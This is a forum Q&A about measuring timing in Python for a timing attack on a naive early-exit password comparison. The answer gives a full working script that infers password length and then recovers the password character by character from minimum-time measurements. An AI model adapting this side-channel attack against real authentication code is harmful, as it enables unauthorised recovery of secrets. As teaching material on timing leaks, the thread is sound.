How to have precise time in python for timing attacks?

Question

I'd like to know why python gives me two different times when I re-order the two nested for loops. The difference is that significant that causes inaccurate results.

This one almost gives me the result I expect to see:

for i in range(20000):
        for j in possibleChars:
            entered_pwd = passStr + j + possibleChars[0] * leftPassLen
            st = time.perf_counter_ns()
            verify_password(stored_pwd, entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[j] += endTime

But this code generate inaccurate results from my view:

for i in possibleChars:
        for j in range(20000):
            entered_pwd = passStr + i + possibleChars[0] * leftPassLen
            st = time.perf_counter_ns()
            verify_password(stored_pwd, entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[i] += endTime

This is the function I'm attempting to run timing attack on it:

def verify_password(stored_pwd, entered_pwd):
    if len(stored_pwd) != len(entered_pwd):
        return False
    for i in range(len(stored_pwd)):
        if stored_pwd[i] != entered_pwd[i]:
            return False
    return True

I also observed a problem with character 'U' (capital case), so to have successful runs I had to delete it from my possibleChars list. The problem is when I measure the time for 'U', it is always near double as other chars. Let me know if you have any question.

Answer 1

Summing up the timings may not be a good idea here:
One interruption due to e.g., scheduling will have a huge effect on the total and may completely invalidate your measurements.
Iterating like in the first loop is probably more likely to spread noise more evenly across the measurements (this is just an educated guess though).
However, it would be better to use the median or minimum time instead of the sum.
This way, you eliminate all noisy measurements.

That being said, I don't expect the timing difference to be huge and python being a high-level language will generate more noisy measurements compared to more low-level languages (because of garbage collection and so on).

But it still works :)
I've implemented an example relying on the minimum time (instead of the sum). On my local machine, it works reliably except for the last character, where the timing difference is way smaller:

import time
import string
# We want to leak this
stored_pwd = "S3cret"

def verify_password(entered_pwd):
    if len(stored_pwd) != len(entered_pwd):
        return False
    for i in range(len(stored_pwd)):
        if stored_pwd[i] != entered_pwd[i]:
            return False
    return True

possibleChars = string.printable
MEASUREMENTS = 2000 # works even with numbers as small as 20 (for me)

def find_char(prefix, len_pwd):
    tmr = {i: 9999999999 for i in possibleChars}
    for i in possibleChars:
        for j in range(MEASUREMENTS):
            entered_pwd = prefix + i + i * (len_pwd - len(prefix) - 1)
            st = time.perf_counter_ns()
            verify_password(entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[i] = min(endTime, tmr[i])
    return max(tmr.items(), key = lambda x: x[1])[0]                        

def find_length(max_length = 100):
    tmr = [99999999 for i in range(max_length + 1)]
    for i in range(max_length + 1):
        for j in range(MEASUREMENTS):
            st = time.perf_counter_ns()
            verify_password("X" * i)
            endTime = time.perf_counter_ns() - st
            tmr[i] = min(endTime, tmr[i])
    return max(enumerate(tmr), key = lambda x: x[1])[0]    

length = find_length()
print(f"password length: {length}")

recovered_password = ""
for i in range(length):
    recovered_password += find_char(recovered_password, length)
    print(f"{recovered_password}{'?' * (length - len(recovered_password))}")

print(f"Password: {recovered_password}")